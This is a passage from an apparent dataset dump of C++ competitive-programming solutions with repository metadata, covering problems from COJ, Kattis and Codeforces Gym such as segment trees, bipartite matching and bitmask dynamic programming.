c[MAXN];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\n\tint tc; cin >> tc;\n\n while( tc-- ){\n int n, m; cin >> n >> m;\n\n for( int i = 0; i < n; i++ ){\n cin >> s[i];\n reverse( s[i].begin() , s[i].end() );\n }\n\n int sol = 0;\n\n for( int i = 0; i < n; i++ ){\n r[i] = 0;\n }\n\n for( int j = 0; j < m; j++ ){\n c[j] = 0;\n }\n\n for( int i = 0; i < n; i++ ){\n for( int j = 0; j < m; j++ ){\n int x = s[i][j] - '0';\n int cnt = r[i] + c[j];\n\n if( cnt & 1 ){\n x ^= 1;\n }\n\n if( !x ){\n sol++;\n r[i]++;\n c[j]++;\n }\n }\n }\n\n cout << sol << '\\n';\n }\n}\n" }, { "alpha_fraction": 0.26755112409591675, "alphanum_fraction": 0.30569374561309814, "avg_line_length": 16.09000015258789, "blob_id": "77bf53d79a790084364249d9e3c543e168156fc1", "content_id": "2e6b4ee5ce84020eeca4ffec14ad3a5744c6a269", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1809, "license_type": "no_license", "max_line_length": 43, "num_lines": 100, "path": "/COJ/eliogovea-cojAC/eliogovea-p3172-Accepted-s825519.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nconst ll mod = 100000;\r\n\r\nint n;\r\nll a[100005], b[100005];\r\n\r\nvoid print(ll n) {\r\n\tif (n < 10000) {\r\n\t\tcout << \"0\";\r\n\t}\r\n\tif (n < 1000) {\r\n\t\tcout << \"0\";\r\n\t}\r\n\tif (n < 100) {\r\n\t\tcout << \"0\";\r\n\t}\r\n\tif (n < 10) {\r\n\t\tcout << \"0\";\r\n\t}\r\n\tcout << n << \"\\n\";\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> a[i];\r\n\t}\r\n\tsort(a, a + n);\r\n\tint l = 0;\r\n\tint r = n - 1;\r\n\tint p = 0;\r\n\twhile (l <= r) {\r\n if (!(p & 1)) {\r\n b[l] = a[l];\r\n b[r] = a[r];\r\n } else {\r\n b[l] = a[r];\r\n b[r] = a[l];\r\n }\r\n l++;\r\n r--;\r\n p ^= 1;\r\n\t}\r\n\t/*for (int i = 0; i < n; i++) {\r\n cout << b[i] << \" \";\r\n\t}\r\n\tcout << \"\\n\";*/\r\n\t/*b[n / 2] = a[n - 1];\r\n\tint cnt = 1;\r\n\tint pl = (n / 2 - 1);\r\n\tint pr = (n / 2 + 1);\r\n\tint men = 0;\r\n\tint may = n - 2;\r\n\tint stp = 0;\r\n\twhile (cnt < n) {\r\n if (stp == 0) {\r\n b[pl--] = a[men++];\r\n b[pr++] = a[men++];\r\n } else {\r\n b[pl--] = a[may--];\r\n b[pr++] = a[may--];\r\n }\r\n stp ^= 1;\r\n cnt += 2;\r\n\t}*/\r\n\t/*for (int i = 0; i < n; i++) {\r\n cout << b[i] << \" \";\r\n\t}\r\n\tcout << \"\\n\";*/\r\n\tll sum = 0;\r\n\tll tot = 0;\r\n\tfor (int i = 0; i < n; i++) {\r\n int nex = (i + 1) % n;\r\n int pre = (i - 1 + n) % n;\r\n sum += (b[i] * tot) % mod;\r\n sum %= mod;\r\n if (i >= 1) {\r\n sum -= (b[i] * b[i - 1]) % mod;\r\n while (sum < 0) {\r\n sum += mod;\r\n }\r\n }\r\n sum %= mod;\r\n tot += b[i];\r\n tot %= mod;\r\n\r\n\t}\r\n\tsum -= (b[0] * b[n - 1]) % mod;\r\n\twhile (sum < 0) {\r\n sum += mod;\r\n\t}\r\n\tprint(sum);\r\n}\r\n" }, { "alpha_fraction": 0.40441176295280457, "alphanum_fraction": 0.4367647171020508, "avg_line_length": 15.947368621826172, "blob_id": "26bcd2858a82be5dbba54446aab1405ee9e57ac9", "content_id": "1d9867d5031d9fe53d6e998e8b1a0c1cff5424a3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 680, "license_type": "no_license", "max_line_length": 66, "num_lines": 38, "path": "/COJ/eliogovea-cojAC/eliogovea-p3159-Accepted-s776630.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 1000000;\r\n\r\nstring s;\r\nbool criba[N + 5];\r\n\r\nconst string v[] = {\"Neither\", \"Prime\", \"Divisible by 6\", \"Both\"};\r\n\r\nint main() {\r\n\tfor (int i = 2; i * i <= N; i++) {\r\n\t\tif (!criba[i]) {\r\n\t\t\tfor (int j = i * i; j <= N; j += i) {\r\n\t\t\t\tcriba[j] = true;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> s;\r\n\tsort(s.begin(), s.end());\r\n\tint ans = 0;\r\n\tdo {\r\n\t\tint x = 0, y = 0;\r\n\t\tfor (int i = 0; s[i]; i++) {\r\n\t\t\tx = 10 * x + s[i] - '0';\r\n\t\t}\r\n\t\tif (!criba[x]) {\r\n\t\t\tans |= 1;\r\n\t\t}\r\n\t\tif (x % 6 == 0) {\r\n\t\t\tans |= 2;\r\n\t\t}\r\n\t} while(next_permutation(s.begin(), s.end()));\r\n\tcout << v[ans] << \"\\n\";\r\n}" }, { "alpha_fraction": 0.4274231791496277, "alphanum_fraction": 0.4382978677749634, "avg_line_length": 18.394495010375977, "blob_id": "2386930606b96e2cbc02b194252d9f9158836878", "content_id": "340411d9623cb290eabcf81b88d8c75525e8943a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2115, "license_type": "no_license", "max_line_length": 66, "num_lines": 109, "path": "/Caribbean-Training-Camp-2018/Contest_1/Solutions/F1.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nstruct node;\ntypedef node* pnode;\nstruct node{\n int mn, mx, lazy;\n pnode ls, rs;\n\n node( int c ){\n mn = c;\n mx = c;\n lazy = 0;\n ls = rs = nullptr;\n }\n};\n\npnode LS( pnode &nod ){\n if( nod->ls == nullptr ){\n nod->ls = new node(0);\n }\n return nod->ls;\n}\npnode RS( pnode &nod ){\n if( nod->rs == nullptr ){\n nod->rs = new node(0);\n }\n return nod->rs;\n}\n\nvoid puttag( pnode &nod, int l, int r, int c ){\n nod->lazy = c;\n nod->mx = nod->mn = c;\n}\n\nvoid pushdown( pnode &nod, int l, int r ){\n if( l < r && nod->lazy ){\n pnode ls = LS(nod), rs = RS(nod);\n int mid = (l+r)/2;\n puttag( ls , l , mid , nod->lazy );\n puttag( rs , mid+1 , r , nod->lazy );\n nod->lazy = 0;\n }\n}\n\nvoid merge_st( pnode &nod ){\n pnode ls = LS(nod), rs = RS(nod);\n nod->mx = max( ls->mx , rs->mx );\n nod->mn = min( ls->mn , rs->mn );\n}\n\nvoid update_st( pnode &nod, int l, int r, int lq, int rq, int c ){\n if( r < lq || rq < l ) return;\n if( lq <= l && r <= rq ){\n puttag(nod, l, r, c);\n return;\n }\n\n pushdown( nod , l , r );\n\n pnode ls = LS(nod), rs = RS(nod);\n int mid = ( l + r ) / 2;\n\n update_st( ls , l , mid , lq , rq , c );\n update_st( rs , mid+1 , r , lq , rq , c );\n\n merge_st( nod );\n}\n\nconst int MAXK = 50010;\nint sol[MAXK];\nvoid solve( pnode &nod, int l, int r ){\n if( nod->mn == nod->mx ){\n sol[ nod->mn ] += (r - l + 1);\n return;\n }\n\n pushdown( nod , l , r );\n pnode ls = LS(nod), rs = RS(nod);\n int mid = ( l + r ) / 2;\n\n solve( ls , l , mid );\n solve( rs , mid+1 , r );\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int n,k; cin >> n >> k;\n\n pnode st = new node(0);\n\n int m; cin >> m;\n\n for( int i = 1; i <= m; i++ ){\n int l, r, c; cin >> c >> l >> r;\n\n update_st( st , 1 , n , l , r , c );\n }\n\n solve( st , 1 , n );\n for( int i = 1; i <= k; i++ ){\n cout << sol[i] << \" \\n\"[i==n];\n }\n}\n\n" }, { "alpha_fraction": 0.3653198778629303, "alphanum_fraction": 0.42424243688583374, "avg_line_length": 20, "blob_id": "b1e1fe6852a7857b5e755901dd59a220028460a4", "content_id": "35f13c77fff24a5b9f106d06573b56484d924a4e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 594, "license_type": "no_license", "max_line_length": 106, "num_lines": 27, "path": "/COJ/eliogovea-cojAC/eliogovea-p3113-Accepted-s758134.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <algorithm>\r\n\r\nusing namespace std;\r\n\r\nint n;\r\nlong long x[100005], y[100005], ac[100005], ans = -1;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> x[i] >> y[i];\r\n\t\tif (i > 0) {\r\n\t\t\tac[i] = ac[i - 1];\r\n\t\t\tac[i] += abs(x[i] - x[i - 1]) + abs(y[i] - y[i - 1]);\r\n\t\t}\r\n\t}\r\n\tfor (int i = 1; i < n - 1; i++) {\r\n\t\tlong long tmp = ac[i - 1] + ac[n - 1] - ac[i + 1] + abs(x[i + 1] - x[i - 1]) + abs(y[i + 1] - y[i - 1]);\r\n\t\tif (ans == -1 || tmp < ans) {\r\n\t\t\tans = tmp;\r\n\t\t}\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3450051546096802, "alphanum_fraction": 0.396498441696167, "avg_line_length": 15.339285850524902, "blob_id": "379f4c4afadf426c31f02ad3be67b16cf54703ef", "content_id": "224df984f6f70b59a645f90c9e2bd0ff096e5499", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 971, "license_type": "no_license", "max_line_length": 42, "num_lines": 56, "path": "/COJ/eliogovea-cojAC/eliogovea-p3449-Accepted-s894987.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MOD = 1000000007;\r\n\r\ninline void add(int &a, int b) {\r\n\ta += b;\r\n\tif (a >= MOD) a -= MOD;\r\n}\r\n\r\nint n;\r\nstring s[505];\r\nstring sensei;\r\n\r\nint dp[2][1 << 14];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n;\r\n\tcin >> sensei;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> s[i];\r\n\t}\r\n\tint cur = 0;\r\n\tdp[cur][0] = 1;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tint mask = 0;\r\n\t\tfor (int j = 0; j < 12; j++) {\r\n\t\t\tif (s[i][j] >= sensei[j]) {\r\n\t\t\t\tmask |= (1 << j);\r\n\t\t\t}\r\n\t\t}\r\n\t\tfor (int j = 0; j < (1 << 12); j++) {\r\n\t\t\tdp[cur ^ 1][j] = dp[cur][j];\r\n\t\t}\r\n\t\tfor (int j = 0; j < (1 << 12); j++) {\r\n\t\t\tadd(dp[cur ^ 1][j | mask], dp[cur][j]);\r\n\t\t}\r\n\t\tcur ^= 1;\r\n\t}\r\n\tint ans = 0;\r\n\tfor (int i = 0; i < (1 << 12); i++) {\r\n\t\tint cnt = 0;\r\n\t\tfor (int j = 0; j < 12; j++) {\r\n\t\t\tif (i & (1 << j)) {\r\n\t\t\t\tcnt++;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (cnt > 6) {\r\n add(ans, dp[cur][i]);\r\n\t\t}\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3168799579143524, "alphanum_fraction": 0.3534430265426636, "avg_line_length": 16.438201904296875, "blob_id": "d465d29a9261527fdb8366a24b7e4cfdda7ecc7f", "content_id": "05ba6e5185c0f86e75e88d86ee1f2870412ee586", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1641, "license_type": "no_license", "max_line_length": 69, "num_lines": 89, "path": "/COJ/eliogovea-cojAC/eliogovea-p3749-Accepted-s1042035.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int dx[] = {1, 0, -1, 0};\r\nconst int dy[] = {0, 1, 0, -1};\r\n\r\nint n, m;\r\nstring s[25];\r\nint id[25][1005];\r\nvector <int> G[25005];\r\nint visited[25005];\r\nint timer;\r\nint match[25005];\r\n\r\nbool dfs(int u) {\r\n\tif (visited[u] == timer) {\r\n\t\treturn false;\r\n\t}\r\n\tvisited[u] = timer;\r\n\tfor (int i = 0; i < G[u].size(); i++) {\r\n\t\tint v = G[u][i];\r\n\t\tif (match[v] == -1 || dfs(match[v])) {\r\n\t\t\tmatch[v] = u;\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}\r\n\treturn false;\r\n}\r\n\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tint cas = 1;\r\n\twhile (true) {\r\n\t\tcin >> n >> m;\r\n\t\tif (n == 0 && m == 0) {\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tint w = 0;\r\n\t\tint b = 0;\r\n\t\tint t = 0;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcin >> s[i];\r\n\t\t\tfor (int j = 0; j < m; j++) {\r\n\t\t\t\tif (s[i][j] != '#') {\r\n\t\t\t\t\tt++;\r\n\t\t\t\t\tif ((i & 1) == (j & 1)) {\r\n\t\t\t\t\t\tid[i][j] = w++;\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\tid[i][j] = b++;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tfor (int i = 0; i < w; i++) {\r\n\t\t\tG[i].clear();\r\n\t\t}\r\n\t\tfor (int x = 0; x < n; x++) {\r\n\t\t\tfor (int y = 0; y < m; y++) {\r\n\t\t\t\tif (s[x][y] != '#') {\r\n\t\t\t\t\tif ((x & 1) == (y & 1)) {\r\n\t\t\t\t\t\tfor (int i = 0; i < 4; i++) {\r\n\t\t\t\t\t\t\tint nx = x + dx[i];\r\n\t\t\t\t\t\t\tint ny = y + dy[i];\r\n\t\t\t\t\t\t\tif (nx >= 0 && nx < n && ny >= 0 && ny < m) {\r\n\t\t\t\t\t\t\t\tif (s[nx][ny] != '#') {\r\n\t\t\t\t\t\t\t\t\tG[id[x][y]].push_back(id[nx][ny]);\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tfor (int i = 0; i < b; i++) {\r\n\t\t\tmatch[i] = -1;\r\n\t\t}\r\n\t\tint ans = 0;\r\n\t\tfor (int i = 0; i < w; i++) {\r\n\t\t\ttimer++;\r\n\t\t\tif (dfs(i)) {\r\n\t\t\t\tans++;\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << \"Case #\" << cas++ << \": \" << (t - 2 * ans + 1) / 2 << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.35411471128463745, "alphanum_fraction": 0.39775562286376953, "avg_line_length": 15.708333015441895, "blob_id": "65cc95ec88a2b7d63347241242bfcb8041ae02ac", "content_id": "81c6625605d24f142c90d3d5e2124aca5f197993", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 802, "license_type": "no_license", "max_line_length": 60, "num_lines": 48, "path": "/Codeforces-Gym/101611 - 2017-2018 ACM-ICPC, NEERC, Moscow Subregional Contest/D.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2017-2018 ACM-ICPC, NEERC, Moscow Subregional Contest\n// 101611D\n\n#include <bits/stdc++.h>\n\nusing namespace std;\nconst int maxn = 1100;\nstruct problem{\n char state;\n int a, t;\n};\n\nint n, m, k;\n\nstring name[maxn];\n\ntypedef unsigned long long ULL;\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n int n;\n cin >> n;\n\n ULL y = 0;\n ULL cnt = 0;\n\n while (n--) {\n ULL x;\n cin >> x;\n if (x < 128ULL) {\n y = y + (x << cnt);\n if (!(y & 1ULL)) {\n cout << (y >> 1ULL) << \"\\n\";\n } else {\n cout << \"-\" << ((y >> 1ULL) + 1ULL) << \"\\n\";\n }\n y = 0;\n cnt = 0;\n continue;\n }\n x -= 128ULL;\n y = y + (x << cnt);\n cnt += 7;\n }\n\n}\n" }, { "alpha_fraction": 0.35084426403045654, "alphanum_fraction": 0.38273921608924866, "avg_line_length": 15.193548202514648, "blob_id": "0743f05c39ddb3990bafdcb68d9866ba1fe56047", "content_id": "8358ad9e9f49bcc6138a9a2896eee89dcd7bad24", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 533, "license_type": "no_license", "max_line_length": 62, "num_lines": 31, "path": "/COJ/eliogovea-cojAC/eliogovea-p2552-Accepted-s490318.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n\r\nint n,mx,cm,x,t,smx;\r\n\r\nint main()\r\n{\r\n scanf(\"%d\",&n);\r\n while(n--)\r\n {\r\n scanf(\"%d\",&x);\r\n t+=x;\r\n if(x>mx)\r\n {\r\n smx=mx;\r\n mx=x;\r\n }\r\n else if(x>smx)smx=x;\r\n }\r\n\r\n if(mx>smx)\r\n {\r\n double MX=(double)mx,T=(double)t,SMX=(double)smx;\r\n if(MX>=9.0*T/20.0)printf(\"1\\n\");\r\n else if(MX>=2.0*T/5.0 && MX>=SMX+T/10.0)printf(\"1\\n\");\r\n else printf(\"2\\n\");\r\n }\r\n else printf(\"2\\n\");\r\n\r\n return 0;\r\n\r\n}\r\n" }, { "alpha_fraction": 0.3671232759952545, "alphanum_fraction": 0.3726027309894562, "avg_line_length": 12.038461685180664, "blob_id": "a28cbfb2b8b52aecf4112984cdd98c1b528dcf28", "content_id": "51e3d9b5aa320beabf653881d310b7368ce16a02", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 365, "license_type": "no_license", "max_line_length": 41, "num_lines": 26, "path": "/COJ/eliogovea-cojAC/eliogovea-p1360-Accepted-s544978.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\nusing namespace std;\r\n\r\ntypedef unsigned long long ull;\r\n\r\nint a,b;\r\n\r\nvoid f(ull a, ull b)\r\n{\r\n if(!(a%b))\r\n {\r\n cout << a/b-1 << \",1]\" << endl;\r\n return;\r\n }\r\n cout << a/b << ',';\r\n f(b,a%b);\r\n}\r\n\r\nint main()\r\n{\r\n\twhile(cin >> a >> b && (a||b))\r\n\t{\r\n\t cout << a << '/' << b << '=' <<'[';\r\n\t f(a,b);\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4025000035762787, "alphanum_fraction": 0.4350000023841858, "avg_line_length": 14.666666984558105, "blob_id": "4b4b5963f94ba116d0794390c2e9df6ac1c40fb5", "content_id": "5f8a5089d129c0732605d2bd433b61c37647438b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 400, "license_type": "no_license", "max_line_length": 44, "num_lines": 24, "path": "/COJ/eliogovea-cojAC/eliogovea-p3251-Accepted-s796136.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nstring s;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin >> s;\r\n\tint res = 0;\r\n\tbool d10 = false;\r\n\tfor (int i = 0; s[i]; i++) {\r\n\t\tif (s[i] == '0') {\r\n\t\t\td10 = true;\r\n\t\t}\r\n\t\tres = (res + s[i] - '0') % 3;\r\n\t}\r\n\tif (d10 && (res == 0)) {\r\n\t\tsort(s.begin(), s.end(), greater<char>());\r\n\t\tcout << s << \"\\n\";\r\n\t} else {\r\n\t\tcout << \"-1\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.33985328674316406, "alphanum_fraction": 0.3677261471748352, "avg_line_length": 22.227272033691406, "blob_id": "8e347f8e8c0fc6b3ed8cda0360b5b3a7fb0adaa9", "content_id": "d2ee02fdba3b5318293cda2281f188f6dde1ce17", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2045, "license_type": "no_license", "max_line_length": 56, "num_lines": 88, "path": "/Kattis/ceiling.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// https://icpc.kattis.com/problems/ceiling\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nstruct node {\n int value;\n int left;\n int right;\n};\n\ntypedef vector <node> tree;\n\nvoid add(tree &t, int value) {\n if (t.size() == 0) {\n t.push_back((node) {value, -1, -1});\n } else {\n int cur = 0;\n while (true) {\n if (value < t[cur].value) {\n if (t[cur].left == -1) {\n t[cur].left = t.size();\n t.push_back((node) {value, -1, -1});\n break;\n } else {\n cur = t[cur].left;\n }\n } else {\n if (t[cur].right == -1) {\n t[cur].right = t.size();\n t.push_back((node) {value, -1, -1});\n break;\n } else {\n cur = t[cur].right;\n }\n }\n }\n }\n}\n\nbool dfs(tree &t1, int p1, tree &t2, int p2) {\n if ((t1[p1].left != -1) ^ (t2[p2].left != -1)) {\n return false;\n }\n if ((t1[p1].right != -1) ^ (t2[p2].right != -1)) {\n return false;\n }\n if (t1[p1].left != -1) {\n assert(t2[p2].left != -1);\n if (!dfs(t1, t1[p1].left, t2, t2[p2].left)) {\n return false;\n }\n }\n if (t1[p1].right != -1) {\n assert(t2[p2].right != -1);\n if (!dfs(t1, t1[p1].right, t2, t2[p2].right)) {\n return false;\n }\n }\n return true;\n}\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n int n, k;\n cin >> n >> k;\n vector <tree> trees(n);\n int ans = 0;\n for (int i = 0; i < n; i++) {\n for (int j = 0; j < k; j++) {\n int value;\n cin >> value;\n add(trees[i], value);\n }\n bool ok = true;\n for (int j = 0; j < i; j++) {\n if (dfs(trees[j], 0, trees[i], 0)) {\n ok = false;\n }\n }\n if (ok) {\n ans++;\n }\n }\n cout << ans << \"\\n\";\n}\n\n" }, { "alpha_fraction": 0.4116095006465912, "alphanum_fraction": 0.41952505707740784, "avg_line_length": 16.950000762939453, "blob_id": "e8793e51a93b0de12ce706c5821dd0ceda25e857", "content_id": "8dfbfbfc99617cb95b5ad9b0f7a183fc8c8aa613", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 379, "license_type": "no_license", "max_line_length": 70, "num_lines": 20, "path": "/COJ/eliogovea-cojAC/eliogovea-p2775-Accepted-s608804.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\nusing namespace std;\r\n\r\nint n;\r\nstring word;\r\n\r\nint main() {\r\n\tcin >> n;\r\n\twhile (n--) {\r\n\t\tcin >> word;\r\n\t\tchar ch = word[0];\r\n\t\tif (ch == 'a' || ch == 'e' || ch == 'i' || ch == 'o' || ch == 'u') {\r\n\t\t\tcout << word << \"cow\" << endl;\r\n\t\t}\r\n\t\telse {\r\n\t\t\tfor (int i = 1; i < word.size(); i++) cout << word[i];\r\n\t\t\tcout << word[0] << \"ow\" << endl;\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3671003580093384, "alphanum_fraction": 0.4042750895023346, "avg_line_length": 20.520000457763672, "blob_id": "f8a452e2e716d8269e984627f1ed535ccf1e26f9", "content_id": "2485dbf9e66035108d6fb3b2eceaf9cd59000160", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1076, "license_type": "no_license", "max_line_length": 48, "num_lines": 50, "path": "/Codeforces-Gym/100197 - 2003-2004 Summer Petrozavodsk Camp, Andrew Stankevich Contest 2 (ASC 2)/G.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2003-2004 Summer Petrozavodsk Camp, Andrew Stankevich Contest 2 (ASC 2)\n// 100197G\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint n, m, y;\nint x[1005], k[1005];\n\npair<int, int> arr[1005];\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n //freopen(\"dat.txt\", \"r\", stdin);\n freopen(\"input.txt\", \"r\", stdin);\n freopen(\"output.txt\", \"w\", stdout);\n cin >> n >> m >> y;\n int sum = 0;\n for (int i = 0; i < n; i++) {\n cin >> x[i];\n k[i] = (x[i] * m) / y;\n arr[i].first = x[i] * m - k[i] * y;\n arr[i].second = i;\n sum += k[i];\n }\n sum = m - sum;\n sort(arr, arr + n);\n int pos = n - 1;\n while (sum > 0 && pos >= 0) {\n while (sum > 0 && arr[pos].first >= y) {\n k[arr[pos].second]++;\n arr[pos].first -= y;\n }\n pos--;\n }\n sort(arr, arr + n);\n pos = n - 1;\n while (sum > 0 && pos >= 0) {\n k[arr[pos].second]++;\n sum--;\n pos--;\n }\n for (int i = 0; i < n; i++) {\n cout << k[i];\n if (i + 1 < n) cout << \" \";\n }\n cout << \"\\n\";\n}\n" }, { "alpha_fraction": 0.3417431116104126, "alphanum_fraction": 0.3623853325843811, "avg_line_length": 17.18055534362793, "blob_id": "617dd6c7a2fbaf85bb91d67fb8619fab06d7c374", "content_id": "48da4b362667797abafbcd6259118077c756e493", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1308, "license_type": "no_license", "max_line_length": 43, "num_lines": 72, "path": "/Codeforces-Gym/100739 - KTU Programming Camp (Day 3)/F.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// KTU Programming Camp (Day 3)\n// 100739F\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long LL;\n\nconst int N = 100005;\n\nLL n, p, q;\n\nint ans[N];\n\ninline LL sum(LL a, LL b) {\n return (a + b) * (b - a + 1) / 2LL;\n}\n\nbool solve(LL n, LL p, LL q) {\n if (q > n) {\n return false;\n }\n if (sum(1, q) > p) {\n return false;\n }\n if (sum(n - q + 1, n) < p) {\n return false;\n }\n for (int i = 1; i <= q; i++) {\n ans[i] = i;\n }\n LL need = p - sum(1, q);\n if (need == 0) {\n return true;\n }\n int last = n;\n for (int i = q; i >= 1; i--) {\n if (need <= last - i) {\n ans[i] = i + need;\n return true;\n } else {\n ans[i] = last;\n need -= last - i;\n last--;\n }\n }\n return false;\n}\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n cin >> n >> p >> q;\n LL pp = 0;\n LL qq = 0;\n while (qq <= n) {\n pp += p;\n qq += q;\n if (solve(n, pp, qq)) {\n for (int i = 1; i <= qq; i++) {\n cout << ans[i];\n if (i + 1 <= qq) {\n cout << \" \";\n }\n }\n cout << \"\\n\";\n return 0;\n }\n }\n cout << \"IMPOSSIBLE\\n\";\n}" }, { "alpha_fraction": 0.35774946212768555, "alphanum_fraction": 0.3924274444580078, "avg_line_length": 26.98019790649414, "blob_id": "be659d480fd9a2c7f0d791c91973c1ad0f096875", "content_id": "6edca0818765ca39c7a4be13a7f3316e3456e876", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2826, "license_type": "no_license", "max_line_length": 163, "num_lines": 101, "path": "/Codeforces-Gym/101150 - 2016-2017 CT S03E08: Codeforces Trainings Season 3 Episode 8 - 2005-2006 ACM-ICPC, Tokyo Regional Contest + 2010 Google Code Jam Qualification Round (CGJ 10, Q)/E.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E08: Codeforces Trainings Season 3 Episode 8 - 2005-2006 ACM-ICPC, Tokyo Regional Contest + 2010 Google Code Jam Qualification Round (CGJ 10, Q)\n// 101150E\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long double LD;\n\nconst LD EPS = 1e-13;\n\nstruct data {\n\tLD peso, largo, pos;\n\tdata(LD _peso = 0.0, LD _largo = 0.0, LD _pos = 0.0) {\n peso = _peso;\n largo = _largo;\n pos = _pos;\n\t}\n};\n\ninline LD calcPos(LD a, LD b) {\n\treturn b / (a + b);\n}\n\ndata merge(const data &a, const data &b) {\n\tdata res;\n\tres.largo = max(max(a.pos + 1.0 + (b.largo - b.pos), b.pos - 1.0 + (a.largo - a.pos)), max(a.largo, b.largo));\n\tres.peso = a.peso + b.peso;\n\tres.pos = a.pos + b.peso / (a.peso + b.peso);\n\tif (b.pos > 1.0 + a.pos) {\n res.pos = b.pos - (1.0 - b.peso / (a.peso + b.peso));\n\t}\n\treturn res;\n}\n\nLD w[10];\nvector <data> v[(1 << 8)];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcout.precision(17);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tint t;\n\tcin >> t;\n\twhile (t--) {\n LD r;\n int s;\n cin >> r >> s;\n //cerr << \"room: \" << r << \"\\n\";\n\t\tfor (int i = 0; i < s; i++) {\n\t\t\tcin 